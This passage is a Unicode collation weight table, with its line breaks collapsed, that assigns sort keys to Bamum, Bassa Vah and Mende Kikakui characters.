# BAMUM LETTER PHASE-D NJIEE -168F6 ; [.39AD.0020.0002] # BAMUM LETTER PHASE-D LIEE -168F7 ; [.39AE.0020.0002] # BAMUM LETTER PHASE-D NJEUT -168F8 ; [.39AF.0020.0002] # BAMUM LETTER PHASE-D NSHEE -168F9 ; [.39B0.0020.0002] # BAMUM LETTER PHASE-D NGGAAMAE -168FA ; [.39B1.0020.0002] # BAMUM LETTER PHASE-D NYAM -168FB ; [.39B2.0020.0002] # BAMUM LETTER PHASE-D WUAEN -168FC ; [.39B3.0020.0002] # BAMUM LETTER PHASE-D NGKUN -168FD ; [.39B4.0020.0002] # BAMUM LETTER PHASE-D SHEE -168FE ; [.39B5.0020.0002] # BAMUM LETTER PHASE-D NGKAP -168FF ; [.39B6.0020.0002] # BAMUM LETTER PHASE-D KEUAETMEUN -16900 ; [.39B7.0020.0002] # BAMUM LETTER PHASE-D TEUT -16901 ; [.39B8.0020.0002] # BAMUM LETTER PHASE-D SHEUAE -16902 ; [.39B9.0020.0002] # BAMUM LETTER PHASE-D NJAP -16903 ; [.39BA.0020.0002] # BAMUM LETTER PHASE-D SUE -16904 ; [.39BB.0020.0002] # BAMUM LETTER PHASE-D KET -16905 ; [.39BC.0020.0002] # BAMUM LETTER PHASE-D YAEMMAE -16906 ; [.39BD.0020.0002] # BAMUM LETTER PHASE-D KUOM -16907 ; [.39BE.0020.0002] # BAMUM LETTER PHASE-D SAP -16908 ; [.39BF.0020.0002] # BAMUM LETTER PHASE-D MFEUT -16909 ; [.39C0.0020.0002] # BAMUM LETTER PHASE-D NDEUX -1690A ; [.39C1.0020.0002] # BAMUM LETTER PHASE-D MALEERI -1690B ; [.39C2.0020.0002] # BAMUM LETTER PHASE-D MEUT -1690C ; [.39C3.0020.0002] # BAMUM LETTER PHASE-D SEUAEQ -1690D ; [.39C4.0020.0002] # BAMUM LETTER PHASE-D YEN -1690E ; [.39C5.0020.0002] # BAMUM LETTER PHASE-D NJEUAEM -1690F ; [.39C6.0020.0002] # BAMUM LETTER PHASE-D KEUOT MBUAE -16910 ; [.39C7.0020.0002] # BAMUM LETTER PHASE-D NGKEURI -16911 ; [.39C8.0020.0002] # BAMUM LETTER PHASE-D TU -16912 ; [.39C9.0020.0002] # BAMUM LETTER PHASE-D GHAA -16913 ; [.39CA.0020.0002] # BAMUM LETTER PHASE-D NGKYEE -16914 ; [.39CB.0020.0002] # BAMUM LETTER PHASE-D FEUFEUAET -16915 ; [.39CC.0020.0002] # BAMUM LETTER PHASE-D NDEE -16916 ; [.39CD.0020.0002] # BAMUM LETTER PHASE-D MGBOFUM -16917 ; [.39CE.0020.0002] # BAMUM LETTER PHASE-D LEUAEP -16918 ; [.39CF.0020.0002] # BAMUM LETTER PHASE-D NDON -16919 ; [.39D0.0020.0002] # BAMUM LETTER PHASE-D MONI -1691A ; [.39D1.0020.0002] # BAMUM LETTER PHASE-D MGBEUN -1691B ; [.39D2.0020.0002] # BAMUM LETTER PHASE-D PUUT -1691C ; [.39D3.0020.0002] # BAMUM LETTER PHASE-D MGBIEE -1691D ; [.39D4.0020.0002] # BAMUM LETTER PHASE-D MFO -1691E ; [.39D5.0020.0002] # BAMUM LETTER PHASE-D LUM -1691F ; [.39D6.0020.0002] # BAMUM LETTER PHASE-D NSIEEP -16920 ; [.39D7.0020.0002] # BAMUM LETTER PHASE-D MBAA -16921 ; [.39D8.0020.0002] # BAMUM LETTER PHASE-D KWAET -16922 ; [.39D9.0020.0002] # BAMUM LETTER PHASE-D NYET -16923 ; [.39DA.0020.0002] # BAMUM LETTER PHASE-D TEUAEN -16924 ; [.39DB.0020.0002] # BAMUM LETTER PHASE-D SOT -16925 ; [.39DC.0020.0002] # BAMUM LETTER PHASE-D YUWOQ -16926 ; [.39DD.0020.0002] # BAMUM LETTER PHASE-D KEUM -16927 ; [.39DE.0020.0002] # BAMUM LETTER PHASE-D RAEM -16928 ; [.39DF.0020.0002] # BAMUM LETTER PHASE-D TEEEE -16929 ; [.39E0.0020.0002] # BAMUM LETTER PHASE-D NGKEUAEQ -1692A ; [.39E1.0020.0002] # BAMUM LETTER PHASE-D MFEUAE -1692B ; [.39E2.0020.0002] # BAMUM LETTER PHASE-D NSIEET -1692C ; [.39E3.0020.0002] # BAMUM LETTER PHASE-D KEUP -1692D ; [.39E4.0020.0002] # BAMUM LETTER PHASE-D PIP -1692E ; [.39E5.0020.0002] # BAMUM LETTER PHASE-D PEUTAE -1692F ; [.39E6.0020.0002] # BAMUM LETTER PHASE-D NYUE -16930 ; [.39E7.0020.0002] # BAMUM LETTER PHASE-D LET -16931 ; [.39E8.0020.0002] # BAMUM LETTER PHASE-D NGGAAM -16932 ; [.39E9.0020.0002] # BAMUM LETTER PHASE-D MFIEE -16933 ; [.39EA.0020.0002] # BAMUM LETTER PHASE-D NGGWAEN -16934 ; [.39EB.0020.0002] # BAMUM LETTER PHASE-D YUOM -16935 ; [.39EC.0020.0002] # BAMUM LETTER PHASE-D PAP -16936 ; [.39ED.0020.0002] # BAMUM LETTER PHASE-D YUOP -16937 ; [.39EE.0020.0002] # BAMUM LETTER PHASE-D NDAM -16938 ; [.39EF.0020.0002] # BAMUM LETTER PHASE-D NTEUM -16939 ; [.39F0.0020.0002] # BAMUM LETTER PHASE-D SUAE -1693A ; [.39F1.0020.0002] # BAMUM LETTER PHASE-D KUN -1693B ; [.39F2.0020.0002] # BAMUM LETTER PHASE-D NGGEUX -1693C ; [.39F3.0020.0002] # BAMUM LETTER PHASE-D NGKIEE -1693D ; [.39F4.0020.0002] # BAMUM LETTER PHASE-D TUOT -1693E ; [.39F5.0020.0002] # BAMUM LETTER PHASE-D MEUN -1693F ; [.39F6.0020.0002] # BAMUM LETTER PHASE-D KUQ -16940 ; [.39F7.0020.0002] # BAMUM LETTER PHASE-D NSUM -16941 ; [.39F8.0020.0002] # BAMUM LETTER PHASE-D TEUN -16942 ; [.39F9.0020.0002] # BAMUM LETTER PHASE-D MAENJET -16943 ; [.39FA.0020.0002] # BAMUM LETTER PHASE-D NGGAP -16944 ; [.39FB.0020.0002] # BAMUM LETTER PHASE-D LEUM -16945 ; [.39FC.0020.0002] # BAMUM LETTER PHASE-D NGGUOM -16946 ; [.39FD.0020.0002] # BAMUM LETTER PHASE-D NSHUT -16947 ; [.39FE.0020.0002] # BAMUM LETTER PHASE-D NJUEQ -16948 ; [.39FF.0020.0002] # BAMUM LETTER PHASE-D GHEUAE -16949 ; [.3A00.0020.0002] # BAMUM LETTER PHASE-D KU -1694A ; [.3A01.0020.0002] # BAMUM LETTER PHASE-D REN OLD -1694B ; [.3A02.0020.0002] # BAMUM LETTER PHASE-D TAE -1694C ; [.3A03.0020.0002] # BAMUM LETTER PHASE-D TOQ -1694D ; [.3A04.0020.0002] # BAMUM LETTER PHASE-D NYI -1694E ; [.3A05.0020.0002] # BAMUM LETTER PHASE-D RII -1694F ; [.3A06.0020.0002] # BAMUM LETTER PHASE-D LEEEE -16950 ; [.3A07.0020.0002] # BAMUM LETTER PHASE-D MEEEE -16951 ; [.3A08.0020.0002] # BAMUM LETTER PHASE-D M -16952 ; [.3A09.0020.0002] # BAMUM LETTER PHASE-D SUU -16953 ; [.3A0A.0020.0002] # BAMUM LETTER PHASE-D MU -16954 ; [.3A0B.0020.0002] # BAMUM LETTER PHASE-D SHII -16955 ; [.3A0C.0020.0002] # BAMUM LETTER PHASE-D SHEUX -16956 ; [.3A0D.0020.0002] # BAMUM LETTER PHASE-D KYEE -16957 ; [.3A0E.0020.0002] # BAMUM LETTER PHASE-D NU -16958 ; [.3A0F.0020.0002] # BAMUM LETTER PHASE-D SHU -16959 ; [.3A10.0020.0002] # BAMUM LETTER PHASE-D NTEE -1695A ; [.3A11.0020.0002] # BAMUM LETTER PHASE-D PEE -1695B ; [.3A12.0020.0002] # BAMUM LETTER PHASE-D NI -1695C ; [.3A13.0020.0002] # BAMUM LETTER PHASE-D SHOQ -1695D ; [.3A14.0020.0002] # BAMUM LETTER PHASE-D PUQ -1695E ; [.3A15.0020.0002] # BAMUM LETTER PHASE-D MVOP -1695F ; [.3A16.0020.0002] # BAMUM LETTER PHASE-D LOQ -16960 ; [.3A17.0020.0002] # BAMUM LETTER PHASE-D REN MUCH -16961 ; [.3A18.0020.0002] # BAMUM LETTER PHASE-D TI -16962 ; [.3A19.0020.0002] # BAMUM LETTER PHASE-D NTUU -16963 ; [.3A1A.0020.0002] # BAMUM LETTER PHASE-D MBAA SEVEN -16964 ; [.3A1B.0020.0002] # BAMUM LETTER PHASE-D SAQ -16965 ; [.3A1C.0020.0002] # BAMUM LETTER PHASE-D FAA -16966 ; [.3A1D.0020.0002] # BAMUM LETTER PHASE-E NDAP -16967 ; [.3A1E.0020.0002] # BAMUM LETTER PHASE-E TOON -16968 ; [.3A1F.0020.0002] # BAMUM LETTER PHASE-E MBEUM -16969 ; [.3A20.0020.0002] # BAMUM LETTER PHASE-E LAP -1696A ; [.3A21.0020.0002] # BAMUM LETTER PHASE-E VOM -1696B ; [.3A22.0020.0002] # BAMUM LETTER PHASE-E LOON -1696C ; [.3A23.0020.0002] # BAMUM LETTER PHASE-E PAA -1696D ; [.3A24.0020.0002] # BAMUM LETTER PHASE-E SOM -1696E ; [.3A25.0020.0002] # BAMUM LETTER PHASE-E RAQ -1696F ; [.3A26.0020.0002] # BAMUM LETTER PHASE-E NSHUOP -16970 ; [.3A27.0020.0002] # BAMUM LETTER PHASE-E NDUN -16971 ; [.3A28.0020.0002] # BAMUM LETTER PHASE-E PUAE -16972 ; [.3A29.0020.0002] # BAMUM LETTER PHASE-E TAM -16973 ; [.3A2A.0020.0002] # BAMUM LETTER PHASE-E NGKA -16974 ; [.3A2B.0020.0002] # BAMUM LETTER PHASE-E KPEUX -16975 ; [.3A2C.0020.0002] # BAMUM LETTER PHASE-E WUO -16976 ; [.3A2D.0020.0002] # BAMUM LETTER PHASE-E SEE -16977 ; [.3A2E.0020.0002] # BAMUM LETTER PHASE-E NGGEUAET -16978 ; [.3A2F.0020.0002] # BAMUM LETTER PHASE-E PAAM -16979 ; [.3A30.0020.0002] # BAMUM LETTER PHASE-E TOO -1697A ; [.3A31.0020.0002] # BAMUM LETTER PHASE-E KUOP -1697B ; [.3A32.0020.0002] # BAMUM LETTER PHASE-E LOM -1697C ; [.3A33.0020.0002] # BAMUM LETTER PHASE-E NSHIEE -1697D ; [.3A34.0020.0002] # BAMUM LETTER PHASE-E NGOP -1697E ; [.3A35.0020.0002] # BAMUM LETTER PHASE-E MAEM -1697F ; [.3A36.0020.0002] # BAMUM LETTER PHASE-E NGKEUX -16980 ; [.3A37.0020.0002] # BAMUM LETTER PHASE-E NGOQ -16981 ; [.3A38.0020.0002] # BAMUM LETTER PHASE-E NSHUE -16982 ; [.3A39.0020.0002] # BAMUM LETTER PHASE-E RIMGBA -16983 ; [.3A3A.0020.0002] # BAMUM LETTER PHASE-E NJEUX -16984 ; [.3A3B.0020.0002] # BAMUM LETTER PHASE-E PEEM -16985 ; [.3A3C.0020.0002] # BAMUM LETTER PHASE-E SAA -16986 ; [.3A3D.0020.0002] # BAMUM LETTER PHASE-E NGGURAE -16987 ; [.3A3E.0020.0002] # BAMUM LETTER PHASE-E MGBA -16988 ; [.3A3F.0020.0002] # BAMUM LETTER PHASE-E GHEUX -16989 ; [.3A40.0020.0002] # BAMUM LETTER PHASE-E NGKEUAEM -1698A ; [.3A41.0020.0002] # BAMUM LETTER PHASE-E NJAEMLI -1698B ; [.3A42.0020.0002] # BAMUM LETTER PHASE-E MAP -1698C ; [.3A43.0020.0002] # BAMUM LETTER PHASE-E LOOT -1698D ; [.3A44.0020.0002] # BAMUM LETTER PHASE-E NGGEEEE -1698E ; [.3A45.0020.0002] # BAMUM LETTER PHASE-E NDIQ -1698F ; [.3A46.0020.0002] # BAMUM LETTER PHASE-E TAEN NTEUM -16990 ; [.3A47.0020.0002] # BAMUM LETTER PHASE-E SET -16991 ; [.3A48.0020.0002] # BAMUM LETTER PHASE-E PUM -16992 ; [.3A49.0020.0002] # BAMUM LETTER PHASE-E NDAA SOFTNESS -16993 ; [.3A4A.0020.0002] # BAMUM LETTER PHASE-E NGGUAESHAE NYAM -16994 ; [.3A4B.0020.0002] # BAMUM LETTER PHASE-E YIEE -16995 ; [.3A4C.0020.0002] # BAMUM LETTER PHASE-E GHEUN -16996 ; [.3A4D.0020.0002] # BAMUM LETTER PHASE-E TUAE -16997 ; [.3A4E.0020.0002] # BAMUM LETTER PHASE-E YEUAE -16998 ; [.3A4F.0020.0002] # BAMUM LETTER PHASE-E PO -16999 ; [.3A50.0020.0002] # BAMUM LETTER PHASE-E TUMAE -1699A ; [.3A51.0020.0002] # BAMUM LETTER PHASE-E KEUAE -1699B ; [.3A52.0020.0002] # BAMUM LETTER PHASE-E SUAEN -1699C ; [.3A53.0020.0002] # BAMUM LETTER PHASE-E TEUAEQ -1699D ; [.3A54.0020.0002] # BAMUM LETTER PHASE-E VEUAE -1699E ; [.3A55.0020.0002] # BAMUM LETTER PHASE-E WEUX -1699F ; [.3A56.0020.0002] # BAMUM LETTER PHASE-E LAAM -169A0 ; [.3A57.0020.0002] # BAMUM LETTER PHASE-E PU -169A1 ; [.3A58.0020.0002] # BAMUM LETTER PHASE-E TAAQ -169A2 ; [.3A59.0020.0002] # BAMUM LETTER PHASE-E GHAAMAE -169A3 ; [.3A5A.0020.0002] # BAMUM LETTER PHASE-E NGEUREUT -169A4 ; [.3A5B.0020.0002] # BAMUM LETTER PHASE-E SHEUAEQ -169A5 ; [.3A5C.0020.0002] # BAMUM LETTER PHASE-E MGBEN -169A6 ; [.3A5D.0020.0002] # BAMUM LETTER PHASE-E MBEE -169A7 ; [.3A5E.0020.0002] # BAMUM LETTER PHASE-E NZAQ -169A8 ; [.3A5F.0020.0002] # BAMUM LETTER PHASE-E NKOM -169A9 ; [.3A60.0020.0002] # BAMUM LETTER PHASE-E GBET -169AA ; [.3A61.0020.0002] # BAMUM LETTER PHASE-E TUM -169AB ; [.3A62.0020.0002] # BAMUM LETTER PHASE-E KUET -169AC ; [.3A63.0020.0002] # BAMUM LETTER PHASE-E YAP -169AD ; [.3A64.0020.0002] # BAMUM LETTER PHASE-E NYI CLEAVER -169AE ; [.3A65.0020.0002] # BAMUM LETTER PHASE-E YIT -169AF ; [.3A66.0020.0002] # BAMUM LETTER PHASE-E MFEUQ -169B0 ; [.3A67.0020.0002] # BAMUM LETTER PHASE-E NDIAQ -169B1 ; [.3A68.0020.0002] # BAMUM LETTER PHASE-E PIEEQ -169B2 ; [.3A69.0020.0002] # BAMUM LETTER PHASE-E YUEQ -169B3 ; [.3A6A.0020.0002] # BAMUM LETTER PHASE-E LEUAEM -169B4 ; [.3A6B.0020.0002] # BAMUM LETTER PHASE-E FUE -169B5 ; [.3A6C.0020.0002] # BAMUM LETTER PHASE-E GBEUX -169B6 ; [.3A6D.0020.0002] # BAMUM LETTER PHASE-E NGKUP -169B7 ; [.3A6E.0020.0002] # BAMUM LETTER PHASE-E KET -169B8 ; [.3A6F.0020.0002] # BAMUM LETTER PHASE-E MAE -169B9 ; [.3A70.0020.0002] # BAMUM LETTER PHASE-E NGKAAMI -169BA ; [.3A71.0020.0002] # BAMUM LETTER PHASE-E GHET -169BB ; [.3A72.0020.0002] # BAMUM LETTER PHASE-E FA -169BC ; [.3A73.0020.0002] # BAMUM LETTER PHASE-E NTUM -169BD ; [.3A74.0020.0002] # BAMUM LETTER PHASE-E PEUT -169BE ; [.3A75.0020.0002] # BAMUM LETTER PHASE-E YEUM -169BF ; [.3A76.0020.0002] # BAMUM LETTER PHASE-E NGGEUAE -169C0 ; [.3A77.0020.0002] # BAMUM LETTER PHASE-E NYI BETWEEN -169C1 ; [.3A78.0020.0002] # BAMUM LETTER PHASE-E NZUQ -169C2 ; [.3A79.0020.0002] # BAMUM LETTER PHASE-E POON -169C3 ; [.3A7A.0020.0002] # BAMUM LETTER PHASE-E MIEE -169C4 ; [.3A7B.0020.0002] # BAMUM LETTER PHASE-E FUET -169C5 ; [.3A7C.0020.0002] # BAMUM LETTER PHASE-E NAE -169C6 ; [.3A7D.0020.0002] # BAMUM LETTER PHASE-E MUAE -169C7 ; [.3A7E.0020.0002] # BAMUM LETTER PHASE-E GHEUAE -169C8 ; [.3A7F.0020.0002] # BAMUM LETTER PHASE-E FU I -169C9 ; [.3A80.0020.0002] # BAMUM LETTER PHASE-E MVI -169CA ; [.3A81.0020.0002] # BAMUM LETTER PHASE-E PUAQ -169CB ; [.3A82.0020.0002] # BAMUM LETTER PHASE-E NGKUM -169CC ; [.3A83.0020.0002] # BAMUM LETTER PHASE-E KUT -169CD ; [.3A84.0020.0002] # BAMUM LETTER PHASE-E PIET -169CE ; [.3A85.0020.0002] # BAMUM LETTER PHASE-E NTAP -169CF ; [.3A86.0020.0002] # BAMUM LETTER PHASE-E YEUAET -169D0 ; [.3A87.0020.0002] # BAMUM LETTER PHASE-E NGGUP -169D1 ; [.3A88.0020.0002] # BAMUM LETTER PHASE-E PA PEOPLE -169D2 ; [.3A89.0020.0002] # BAMUM LETTER PHASE-E FU CALL -169D3 ; [.3A8A.0020.0002] # BAMUM LETTER PHASE-E FOM -169D4 ; [.3A8B.0020.0002] # BAMUM LETTER PHASE-E NJEE -169D5 ; [.3A8C.0020.0002] # BAMUM LETTER PHASE-E A -169D6 ; [.3A8D.0020.0002] # BAMUM LETTER PHASE-E TOQ -169D7 ; [.3A8E.0020.0002] # BAMUM LETTER PHASE-E O -169D8 ; [.3A8F.0020.0002] # BAMUM LETTER PHASE-E I -169D9 ; [.3A90.0020.0002] # BAMUM LETTER PHASE-E LAQ -169DA ; [.3A91.0020.0002] # BAMUM LETTER PHASE-E PA PLURAL -169DB ; [.3A92.0020.0002] # BAMUM LETTER PHASE-E TAA -169DC ; [.3A93.0020.0002] # BAMUM LETTER PHASE-E TAQ -169DD ; [.3A94.0020.0002] # BAMUM LETTER PHASE-E NDAA MY HOUSE -169DE ; [.3A95.0020.0002] # BAMUM LETTER PHASE-E SHIQ -169DF ; [.3A96.0020.0002] # BAMUM LETTER PHASE-E YEUX -169E0 ; [.3A97.0020.0002] # BAMUM LETTER PHASE-E NGUAE -169E1 ; [.3A98.0020.0002] # BAMUM LETTER PHASE-E YUAEN -169E2 ; [.3A99.0020.0002] # BAMUM LETTER PHASE-E YOQ SWIMMING -169E3 ; [.3A9A.0020.0002] # BAMUM LETTER PHASE-E YOQ COVER -169E4 ; [.3A9B.0020.0002] # BAMUM LETTER PHASE-E YUQ -169E5 ; [.3A9C.0020.0002] # BAMUM LETTER PHASE-E YUN -169E6 ; [.3A9D.0020.0002] # BAMUM LETTER PHASE-E KEUX -169E7 ; [.3A9E.0020.0002] # BAMUM LETTER PHASE-E PEUX -169E8 ; [.3A9F.0020.0002] # BAMUM LETTER PHASE-E NJEE EPOCH -169E9 ; [.3AA0.0020.0002] # BAMUM LETTER PHASE-E PUE -169EA ; [.3AA1.0020.0002] # BAMUM LETTER PHASE-E WUE -169EB ; [.3AA2.0020.0002] # BAMUM LETTER PHASE-E FEE -169EC ; [.3AA3.0020.0002] # BAMUM LETTER PHASE-E VEE -169ED ; [.3AA4.0020.0002] # BAMUM LETTER PHASE-E LU -169EE ; [.3AA5.0020.0002] # BAMUM LETTER PHASE-E MI -169EF ; [.3AA6.0020.0002] # BAMUM LETTER PHASE-E REUX -169F0 ; [.3AA7.0020.0002] # BAMUM LETTER PHASE-E RAE -169F1 ; [.3AA8.0020.0002] # BAMUM LETTER PHASE-E NGUAET -169F2 ; [.3AA9.0020.0002] # BAMUM LETTER PHASE-E NGA -169F3 ; [.3AAA.0020.0002] # BAMUM LETTER PHASE-E SHO -169F4 ; [.3AAB.0020.0002] # BAMUM LETTER PHASE-E SHOQ -169F5 ; [.3AAC.0020.0002] # BAMUM LETTER PHASE-E FU REMEDY -169F6 ; [.3AAD.0020.0002] # BAMUM LETTER PHASE-E NA -169F7 ; [.3AAE.0020.0002] # BAMUM LETTER PHASE-E PI -169F8 ; [.3AAF.0020.0002] # BAMUM LETTER PHASE-E LOQ -169F9 ; [.3AB0.0020.0002] # BAMUM LETTER PHASE-E KO -169FA ; [.3AB1.0020.0002] # BAMUM LETTER PHASE-E MEN -169FB ; [.3AB2.0020.0002] # BAMUM LETTER PHASE-E MA -169FC ; [.3AB3.0020.0002] # BAMUM LETTER PHASE-E MAQ -169FD ; [.3AB4.0020.0002] # BAMUM LETTER PHASE-E TEU -169FE ; [.3AB5.0020.0002] # BAMUM LETTER PHASE-E KI -169FF ; [.3AB6.0020.0002] # BAMUM LETTER PHASE-E MON -16A00 ; [.3AB7.0020.0002] # BAMUM LETTER PHASE-E TEN -16A01 ; [.3AB8.0020.0002] # BAMUM LETTER PHASE-E FAQ -16A02 ; [.3AB9.0020.0002] # BAMUM LETTER PHASE-E GHOM -16A03 ; [.3ABA.0020.0002] # BAMUM LETTER PHASE-F KA -16A04 ; [.3ABB.0020.0002] # BAMUM LETTER PHASE-F U -16A05 ; [.3ABC.0020.0002] # BAMUM LETTER PHASE-F KU -16A06 ; [.3ABD.0020.0002] # BAMUM LETTER PHASE-F EE -16A07 ; [.3ABE.0020.0002] # BAMUM LETTER PHASE-F REE -16A08 ; [.3ABF.0020.0002] # BAMUM LETTER PHASE-F TAE -16A09 ; [.3AC0.0020.0002] # BAMUM LETTER PHASE-F NYI -16A0A ; [.3AC1.0020.0002] # BAMUM LETTER PHASE-F LA -16A0B ; [.3AC2.0020.0002] # BAMUM LETTER PHASE-F RII -16A0C ; [.3AC3.0020.0002] # BAMUM LETTER PHASE-F RIEE -16A0D ; [.3AC4.0020.0002] # BAMUM LETTER PHASE-F MEEEE -16A0E ; [.3AC5.0020.0002] # BAMUM LETTER PHASE-F TAA -16A0F ; [.3AC6.0020.0002] # BAMUM LETTER PHASE-F NDAA -16A10 ; [.3AC7.0020.0002] # BAMUM LETTER PHASE-F NJAEM -16A11 ; [.3AC8.0020.0002] # BAMUM LETTER PHASE-F M -16A12 ; [.3AC9.0020.0002] # BAMUM LETTER PHASE-F SUU -16A13 ; [.3ACA.0020.0002] # BAMUM LETTER PHASE-F SHII -16A14 ; [.3ACB.0020.0002] # BAMUM LETTER PHASE-F SI -16A15 ; [.3ACC.0020.0002] # BAMUM LETTER PHASE-F SEUX -16A16 ; [.3ACD.0020.0002] # BAMUM LETTER PHASE-F KYEE -16A17 ; [.3ACE.0020.0002] # BAMUM LETTER PHASE-F KET -16A18 ; [.3ACF.0020.0002] # BAMUM LETTER PHASE-F NUAE -16A19 ; [.3AD0.0020.0002] # BAMUM LETTER PHASE-F NU -16A1A ; [.3AD1.0020.0002] # BAMUM LETTER PHASE-F NJUAE -16A1B ; [.3AD2.0020.0002] # BAMUM LETTER PHASE-F YOQ -16A1C ; [.3AD3.0020.0002] # BAMUM LETTER PHASE-F SHU -16A1D ; [.3AD4.0020.0002] # BAMUM LETTER PHASE-F YA -16A1E ; [.3AD5.0020.0002] # BAMUM LETTER PHASE-F NSHA -16A1F ; [.3AD6.0020.0002] # BAMUM LETTER PHASE-F PEUX -16A20 ; [.3AD7.0020.0002] # BAMUM LETTER PHASE-F NTEE -16A21 ; [.3AD8.0020.0002] # BAMUM LETTER PHASE-F WUE -16A22 ; [.3AD9.0020.0002] # BAMUM LETTER PHASE-F PEE -16A23 ; [.3ADA.0020.0002] # BAMUM LETTER PHASE-F RU -16A24 ; [.3ADB.0020.0002] # BAMUM LETTER PHASE-F NI -16A25 ; [.3ADC.0020.0002] # BAMUM LETTER PHASE-F REUX -16A26 ; [.3ADD.0020.0002] # BAMUM LETTER PHASE-F KEN -16A27 ; [.3ADE.0020.0002] # BAMUM LETTER PHASE-F NGKWAEN -16A28 ; [.3ADF.0020.0002] # BAMUM LETTER PHASE-F NGGA -16A29 ; [.3AE0.0020.0002] # BAMUM LETTER PHASE-F SHO -16A2A ; [.3AE1.0020.0002] # BAMUM LETTER PHASE-F PUAE -16A2B ; [.3AE2.0020.0002] # BAMUM LETTER PHASE-F FOM -16A2C ; [.3AE3.0020.0002] # BAMUM LETTER PHASE-F WA -16A2D ; [.3AE4.0020.0002] # BAMUM LETTER PHASE-F LI -16A2E ; [.3AE5.0020.0002] # BAMUM LETTER PHASE-F LOQ -16A2F ; [.3AE6.0020.0002] # BAMUM LETTER PHASE-F KO -16A30 ; [.3AE7.0020.0002] # BAMUM LETTER PHASE-F MBEN -16A31 ; [.3AE8.0020.0002] # BAMUM LETTER PHASE-F REN -16A32 ; [.3AE9.0020.0002] # BAMUM LETTER PHASE-F MA -16A33 ; [.3AEA.0020.0002] # BAMUM LETTER PHASE-F MO -16A34 ; [.3AEB.0020.0002] # BAMUM LETTER PHASE-F MBAA -16A35 ; [.3AEC.0020.0002] # BAMUM LETTER PHASE-F TET -16A36 ; [.3AED.0020.0002] # BAMUM LETTER PHASE-F KPA -16A37 ; [.3AEE.0020.0002] # BAMUM LETTER PHASE-F SAMBA -16A38 ; [.3AEF.0020.0002] # BAMUM LETTER PHASE-F VUEQ -16AD0 ; [.3AF0.0020.0002] # BASSA VAH LETTER ENNI -16AD1 ; [.3AF1.0020.0002] # BASSA VAH LETTER KA -16AD2 ; [.3AF2.0020.0002] # BASSA VAH LETTER SE -16AD3 ; [.3AF3.0020.0002] # BASSA VAH LETTER FA -16AD4 ; [.3AF4.0020.0002] # BASSA VAH LETTER MBE -16AD5 ; [.3AF5.0020.0002] # BASSA VAH LETTER YIE -16AD6 ; [.3AF6.0020.0002] # BASSA VAH LETTER GAH -16AD7 ; [.3AF7.0020.0002] # BASSA VAH LETTER DHII -16AD8 ; [.3AF8.0020.0002] # BASSA VAH LETTER KPAH -16AD9 ; [.3AF9.0020.0002] # BASSA VAH LETTER JO -16ADA ; [.3AFA.0020.0002] # BASSA VAH LETTER HWAH -16ADB ; [.3AFB.0020.0002] # BASSA VAH LETTER WA -16ADC ; [.3AFC.0020.0002] # BASSA VAH LETTER ZO -16ADD ; [.3AFD.0020.0002] # BASSA VAH LETTER GBU -16ADE ; [.3AFE.0020.0002] # BASSA VAH LETTER DO -16ADF ; [.3AFF.0020.0002] # BASSA VAH LETTER CE -16AE0 ; [.3B00.0020.0002] # BASSA VAH LETTER UWU -16AE1 ; [.3B01.0020.0002] # BASSA VAH LETTER TO -16AE2 ; [.3B02.0020.0002] # BASSA VAH LETTER BA -16AE3 ; [.3B03.0020.0002] # BASSA VAH LETTER VU -16AE4 ; [.3B04.0020.0002] # BASSA VAH LETTER YEIN -16AE5 ; [.3B05.0020.0002] # BASSA VAH LETTER PA -16AE6 ; [.3B06.0020.0002] # BASSA VAH LETTER WADDA -16AE7 ; [.3B07.0020.0002] # BASSA VAH LETTER A -16AE8 ; [.3B08.0020.0002] # BASSA VAH LETTER O -16AE9 ; [.3B09.0020.0002] # BASSA VAH LETTER OO -16AEA ; [.3B0A.0020.0002] # BASSA VAH LETTER U -16AEB ; [.3B0B.0020.0002] # BASSA VAH LETTER EE -16AEC ; [.3B0C.0020.0002] # BASSA VAH LETTER E -16AED ; [.3B0D.0020.0002] # BASSA VAH LETTER I -1E800 ; [.3B0E.0020.0002] # MENDE KIKAKUI SYLLABLE M001 KI -1E801 ; [.3B0F.0020.0002] # MENDE KIKAKUI SYLLABLE M002 KA -1E802 ; [.3B10.0020.0002] # MENDE KIKAKUI SYLLABLE M003 KU -1E803 ; [.3B11.0020.0002] # MENDE KIKAKUI SYLLABLE M065 KEE -1E804 ; [.3B12.0020.0002] # MENDE KIKAKUI SYLLABLE M095 KE -1E805 ; [.3B13.0020.0002] # MENDE KIKAKUI SYLLABLE M076 KOO -1E806 ; [.3B14.0020.0002] # MENDE KIKAKUI SYLLABLE M048 KO -1E807 ; [.3B15.0020.0002] # MENDE KIKAKUI SYLLABLE M179 KUA -1E808 ; [.3B16.0020.0002] # MENDE KIKAKUI SYLLABLE M004 WI -1E809 ; [.3B17.0020.0002] # MENDE KIKAKUI SYLLABLE M005 WA -1E80A ; [.3B18.0020.0002] # MENDE KIKAKUI SYLLABLE M006 WU -1E80B ; [.3B19.0020.0002] # MENDE KIKAKUI SYLLABLE M126 WEE -1E80C ; [.3B1A.0020.0002] # MENDE KIKAKUI SYLLABLE M118 WE -1E80D ; [.3B1B.0020.0002] # MENDE KIKAKUI SYLLABLE M114 WOO -1E80E ; [.3B1C.0020.0002] # MENDE KIKAKUI SYLLABLE M045 WO -1E80F ; [.3B1D.0020.0002] # MENDE KIKAKUI SYLLABLE M194 WUI -1E810 ; [.3B1E.0020.0002] # MENDE KIKAKUI SYLLABLE M143 WEI -1E811 ; [.3B1F.0020.0002] # MENDE KIKAKUI SYLLABLE M061 WVI -1E812 ; [.3B20.0020.0002] # MENDE KIKAKUI SYLLABLE M049 WVA -1E813 ; [.3B21.0020.0002] # MENDE KIKAKUI SYLLABLE M139 WVE -1E814 ; [.3B22.0020.0002] # MENDE KIKAKUI SYLLABLE M007 MIN -1E815 ; [.3B23.0020.0002] # MENDE KIKAKUI SYLLABLE M008 MAN -1E816 ; [.3B24.0020.0002] # MENDE KIKAKUI SYLLABLE M009 MUN -1E817 ; [.3B25.0020.0002] # MENDE KIKAKUI SYLLABLE M059 MEN -1E818 ; [.3B26.0020.0002] # MENDE KIKAKUI SYLLABLE M094 MON -1E819 ; [.3B27.0020.0002] # MENDE KIKAKUI SYLLABLE M154 MUAN -1E81A ; [.3B28.0020.0002] # MENDE KIKAKUI SYLLABLE M189 MUEN -1E81B ; [.3B29.0020.0002] # MENDE KIKAKUI SYLLABLE M010 BI -1E81C ; [.3B2A.0020.0002] # MENDE KIKAKUI SYLLABLE M011 BA -1E81D ; [.3B2B.0020.0002] # MENDE KIKAKUI SYLLABLE M012 BU -1E81E ; 